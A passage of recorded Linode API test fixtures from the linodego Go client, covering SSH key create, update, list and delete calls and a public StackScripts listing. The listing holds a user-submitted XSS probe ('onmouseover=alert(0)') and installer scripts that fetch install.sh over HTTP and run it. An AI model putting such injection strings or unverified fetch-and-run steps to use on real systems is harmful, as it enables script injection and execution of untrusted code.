AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "479" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def_r"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/225130 method: PUT response: body: '{"id": 225130, "label": "go-test-def_r", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "481" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/225130 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestSSHKeys_List.yaml000066400000000000000000000173011455402072200305650ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def","ssh_key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys method: POST response: body: '{"id": 225131, "label": "go-test-def", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "479" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys method: GET response: body: '{"data": [{"id": 152998, "label": "tf_test_authorized_keys", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDTvJ3DEQbiBaaLunzTgQrgsDKqgTqDnNLhhnZSLIqCCuM60bZgJ6ML8xfmeLZ22sUGcC3sx1Qbq2xhfLbugEdPKalNav4VClBw14oham7dtFdKP1KjsPn1vo4/BbBQD1OVQkYJtEJn+Kes8mzKLVd1KAxD2a3AQCMpd799Tpwzqw== linode@ssh-acceptance-test", "created": "2018-01-02T03:04:05"}, {"id": 161097, "label": "main", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/9hS+wF6hxr7F8u18foHDiZSH6OBv27gwJwW3zbGLPCp37Q9sP/ZxvIGjOUgC/8dtZYMwbv9G2/E1/V0JjLIA7sE5y5u+O+8Qo/WvvLMttp7UOzNswzjOAEHSlsHnj+Fjc6H0zSjjZAutNxmzDweaGueGXwIILbuXp+TTv2ZFBgFETP8psCCbBUV/ONTzDV2Azp0nOD2Jq7BCg2uXvSgbArWR8EEt7WKoxLtGQpM3eY9fkIACzNMJrUbzPjzcQDiAoh1lx7SYbhCejVAgWRmaaWCAzDDYAsJbaDdlsLedcMO+l0bHgyW2om7D4ougeEZTVKpw1NbjtIeMSP/yMMGb porkysm@ubuntu", "created": "2018-01-02T03:04:05"}, {"id": 210640, "label": "tf_test_authorized_keys", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCmlfMklYRrffVWmxXkaUuBKx1Cy0YDPjPpAjqAOuGNwpUS2rx9kd842UVHnKFyPc6VxUudmXm1htG46k21RkyxhSp6M9evMYhqmY+5g+MyBf/rwCKQqPDbBfgkAbzOWfTj68/rlitxljjIn4JCS99DmgkxBxpdBFeVhuAG5a8Hkw== linode@ssh-acceptance-test", "created": "2018-01-02T03:04:05"}, {"id": 210892, "label": "dev-server-rsa", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3tmzKeKrdyhTrtX3vjV7bDG3SlYf0IDPh7QkY9etASgFfqOW4vmioXj7yAj5mx3wOlAVcDCKhc4+X4jED87ZHPmupr2FRCJprW/hdHA0J97sDSYpZ2v4y/GNzmvPR+z8Nqi+heUuXPj4d9CKMx9MqiyS7OrFrj86HTkVIGZgkK55cD+Vy3WJsr6mYuaSKc8q7vd7MqjVZJ7xaxX41Ss6bYFHi3Hu8QtSCTr/V7qAxAmlLSrf36fxm1xK5BrS5LgllwTfKoQJKbBupBdiEMuAknoVoMflZhuXB5pbqqgTGCFZ7bKCejFE0jdAqOUEh/sa3FJLozjx4cS1SEbI4IwJqp/Xtfh8lerJHA+EJahLHbHLP9/UiSy36taKK6ULXx+PHXWekh9OhsC8f68dMN56KOvw7zjo4IpAPQpFaNYzGsEd5DA+M/y2MIcdI66hMmNqx0KJD71m62Pw1ACmVBC1WKKCbKAmcdfD5buHp2hNq3dTte/MYY40fkSWXJCDlSBE= lgarber@atl-mpd9p", "created": "2018-01-02T03:04:05"}, {"id": 220902, "label": "tf_test_authorized_keys", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCz7HK6PeQ3r0Bw4rlICFCCTlaMHElm5/5texwLuhLyCyRIyB45Ddg54x1nGLFCIyJvj/8Xx7rJYEoukfyK4VmnGvIdFlEXGrrfAaiUOzg20Rg4PvVAiR1KxCXr0/gpXA6PTMbUmntVkZ3KVtkehabJlB6kZw8Wl82GKOtArFKJEw== linode@ssh-acceptance-test", "created": "2018-01-02T03:04:05"}, {"id": 225131, "label": "go-test-def", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 6}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/225131 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestStackscripts_List.yaml000066400000000000000000012367631455402072200317710ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts?page=1 method: GET response: body: '{"data": [{"id": 623104, "username": "octane3333", "user_gravatar_id": "3e9341b887a3183cc653e488a37b83b8", "label": "onmouseover=alert(0)", "description": "onmouseover=alert(0)", "ordinal": 0, "logo_url": "", "images": ["linode/fedora29"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\nonmouseover=alert(0)", "user_defined_fields": []}, {"id": 6146, "username": "north5", "user_gravatar_id": "4719cf3a5ab3123f9ee536c796788b68", "label": "north5_ubuntu_basic", "description": "Basic lib of bash functions", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu12.04lts32bit", null, "linode/ubuntu12.1032bit", "linode/ubuntu12.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "short hostname recoord added to /etc/hosts", "script": "#!/bin/bash\n\n# \n# \n\n# Set software sources\nfunction set_sources_list() {\n echo \"Adjusting sources.list (destructively)\" >> $logfile\n CODENAME=$(lsb_release -sc)\n\n cat >/etc/apt/sources.list <> $logfile\n echo ${HOSTNAME} > /etc/hostname\n hostname -F /etc/hostname\n short=$(hostname -s)\n echo \"127.0.1.1 ${short} ${short}\" >> /etc/hosts\n}\n\n# Update software repositories and perform upgrade\nfunction system_upgrade() {\n echo \"Update system packages\" >> $logfile\n apt-get -y update\n apt-get -y upgrade\n}\n\n# Clean system packages\nfunction system_clean() {\n apt-get -y autoremove\n apt-get -y clean \n}\n\n# Install north5 common packages\nfunction north5_packages() {\n apt-get -y install build-essential\n apt-get -y install curl htop\n\n apt-get -y remove apparmor\n\n RELEASE=$(lsb_release -sr)\n\n # Ubuntu 12.04 already has these scripts integrated\n if [[ ${RELEASE} == \"10.04\" ]]; then\n apt-get -y install python-software-properties\n fi\n}\n\n# Default log file\nlogfile=${logfile:-\"/root/stackscript.log\"}", "user_defined_fields": []}, {"id": 9218, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "OpenBiz Cubi powered by Webuzo", "description": "Openbiz Cubi Platform is a fast application development platform designed for business applications. It is built on top of the excellent Openbiz framework. It provides easy and intelligent development tools and implements almost all commonly used components, developers just need to work on their core business logic development. Openbiz Cubi makes application development so quick. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure OpenBiz Cubi and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "OpenBiz Cubi powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install OpenBiz Cubi and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About OpenBiz Cubi :\n# Openbiz Cubi Platform is a fast application development platform designed for business applications.\n# It is built on top of the excellent Openbiz framework. It provides easy and intelligent development \n# tools and implements almost all commonly used components, developers just need to work on their core\n# business logic development. Openbiz Cubi makes application development so quick. \n###########################################################################################################\n\n# Install OpenBiz Cubi Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=243&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling OpenBiz Cubi and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, OpenBiz Cubi has been successfully installed\"\necho \" \"\necho \"You can now configure OpenBiz Cubi and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 3, "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", "label": "StackScript Python Library", "description": "Does nothing on its own. Do not deploy directly.\r\n\r\nA collection of useful Python functions to be included in other StackScripts.", "ordinal": 0, "logo_url": "", "images": ["linode/centos7", "linode/debian7", "linode/debian8", "linode/fedora22", "linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import.", "script": "#!/usr/bin/env python\n\n\"\"\"\nPython Library StackScript\n\n\tAuthor: Ricardo N Feliciano \n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- n/a\n\nThis StackScript is not meant to be directly deployed. Includes a host of\nfunctions to do very common task on a distro, as implemented in Python. The\nfunctions in this library are designed to be run accross the Linode Core\nDistributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\n\nimport crypt\nimport fcntl\nimport logging\nimport os\nimport platform\nimport pwd\nimport socket\nimport subprocess\nimport sys\nimport time\ntry:\n\timport apt\nexcept:\n\ttry:\n\t\timport yum\n\texcept:\n\t\ttry:\n\t\t\timport dnf\n\t\texcept ImportError:\n\t\t\tprint(\"Package manager support was not found.\")\n\t\t\t\n\ndistro = None\n\"\"\"String list: Contains details of the distribution.\"\"\"\n\n\ndef end():\n\t\"\"\"End the StackScript cleanly.\"\"\"\n\t\n\t# Should the StackScripts themselves be removed here at some point?\n\tlogging.info(\"The StackScript has been completed.\")\n\tsubprocess.check_output(''echo \"The StackScript has completed. Press enter to continue.\" | wall -n'', shell=True)\n\n\ndef init():\n\t\"\"\"Start features we consider StackScript standard.\"\"\"\n\t\n\t# Sanity check for CentOS 7 & Fedora 22\n\tif os.path.exists(\"/var/log/stackscript.log\"):\n\t\tsys.exit(1) # StackScript already started once, bail\n\t\n\twith open(\"/etc/profile.d/stackscript.sh\", \"w\") as f:\n\t\tf.write(\"\"\"#!/bin/bash\nif pgrep -f \"python /root/StackScript\" &>/dev/null\nthen\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### Warning: Your StackScript is still running\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### Please do not make any system changes until it \"\n\techo \"##### completes. Log file is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\nelse\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### The StackScript has completed. Enjoy your system.\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### For reference, the logfile is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\n\trm /etc/profile.d/stackscript.sh\nfi\"\"\")\n\t\n\tlogging_start()\n\n\ndef logging_start(the_file=\"/var/log/stackscript.log\", the_level=logging.INFO):\n\t\"\"\"Turn on logging.\"\"\"\n\t\n\tlogging.basicConfig(filename=the_file, level=the_level)\n\tlogging.info(\"Logging has started. \" + str(time.time()))\n\n\ndef system_detect_distro():\n\t\"\"\"Prepares distro information.\n\t\n\tThis is critical to support the Linode Core Distributions with a single\n\tscript.\n\t\"\"\"\n\tglobal distro\n\n\t# add support for logging\n\t\n\tdistro = dict(zip((''distname'', ''version'', ''codename''),\n\tplatform.linux_distribution(full_distribution_name=0)))\n\t\n\tdistro[''distname''] = distro[''distname''].lower()\n\n\tif distro[''distname''] in (''debian'', ''ubuntu''):\n\t\tdistro[''family''] = \"debian\"\n\telif distro[''distname''] in (''fedora'', ''centos''):\n\t\tdistro[''family''] = \"redhat\"\n\telse:\n\t\traise NotImplementedError(\"This distribution is not supported.\")\n\n\ndef system_IP_get():\n\t\"\"\"Return IPv4 address configured on eth0.\n\t\n\tThis basically is a disgusting hack. Please let me know if you find a\n\tcleaner way to do this.\"\"\"\n\t# add support for logging\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\treturn socket.inet_ntoa(fcntl.ioctl(\n\t\ts.fileno(),\n\t\t0x8915, # SIOCGIFADDR\n\t\tstruct.pack(''256s'', \"eth0\")\n\t)[20:24])\n\n\ndef system_IP_rdns(IP):\n\t\"\"\"Get PTR for given IP address.\"\"\"\n\t# add support for logging\n\n\treturn socket.gethostbyaddr(IP)[0]\n\n\ndef system_package_install(package, update_first=True):\n\t\"\"\"Install a package with the appropriate package manager.\"\"\"\n\t# add support for logging\n\n\tif distro is None:\n\t\tsystem_detect_distro()\n\n\tsystem_update() if update_first else None\n\t\n\tif distro[''family''] == \"debian\":\n\t\tos.environ[''DEBIAN_FRONTEND''] = \"noninteractive\"\n\t\tcache = apt.Cache()\n\t\tpkg = cache[package]\n\t\tpkg.mark_install()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.install(name=package)\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\tdnfb.read_all_repos()\n\t\tdnfb.fill_sack()\n\t\tdnfb.install(package)\n\t\tdnfb.resolve()\n\t\tdnfb.download_packages(dnfb.transaction.install_set)\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef system_update():\n\t\"\"\"Uses the distro''s package manager to update packages.\"\"\"\n\t#add support for logging\n\t\n\tif distro is None:\n\t\tsystem_detect_distro()\n\t\n\tif distro[''family''] == \"debian\":\n\t\tcache = apt.Cache()\n\t\tcache.update()\n\t\tcache.open(None)\n\t\tcache.upgrade()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.update()\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\t#dnfb.read_all_repos() #updates were failing with this line\n\t\tdnfb.fill_sack()\n\t\tdnfb.upgrade_all()\n\t\tdnfb.resolve()\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef user_add(username, password, groups):\n\t\"\"\"Creates a Linux user account.\n\t\n\tArgs:\n\t\tusername (String): A Linux username.\n\t\tpassword (String): Password for the user.\n\t\tgroups (tuple): Groups that the user should be added to.\n\t\n\tReturns:\n\t\tbool: True if successful, False otherwise.\n\t\"\"\"\n\n\t# need to implement logging\n\t# need to implement group functionality\n\n\treturn subprocess.call([''useradd'', ''-m'', ''-p'', crypt.crypt(password, \"22\"), ''-s'', ''/bin/bash'', username])\n\n\ndef user_add_pubkey(username, key):\n\t\"\"\"Adds the public SSH key to the specified user.\"\"\"\n\t# need to implement logging\n\t\n\tif username != \"root\":\n\t\tos.seteuid(pwd.getpwnam(username).pw_uid)\n\t\tos.setegid(pwd.getpwnam(username).pw_gid)\n\t\n\tpubkey_dir = os.path.join(os.getenv(\"HOME\"), \".ssh\")\n\t\n\tif not os.path.isdir(pubkey_dir):\n\t\tos.makedirs(pubkey_dir)\n\t\n\twith open(os.path.join(pubkey_dir, \"authorized_keys\")) as f:\n\t\tf.write(key)\n\t\n\tif username != \"root\":\n\t\tos.seteuid(0)\n\t\tos.setegid(0)", "user_defined_fields": []}, {"id": 9219, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "PRADO powered by Webuzo", "description": "PRADO is a component-based and event-driven programming framework for developing Web applications in PHP 5.\r\nPRADO stands for PHP Rapid Application Development Object-oriented.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure PRADO and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "PRADO powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install PRADO and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About PRADO :\n# PRADO is a component-based and event-driven programming framework for developing Web \n# applications in PHP 5. PRADO stands for PHP Rapid Application Development Object-oriented.\n###########################################################################################################\n\n# Install PRADO Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=221&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling PRADO and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, PRADO has been successfully installed\"\necho \" \"\necho \"You can now configure PRADO and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9220, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "BIGACE powered by Webuzo", "description": 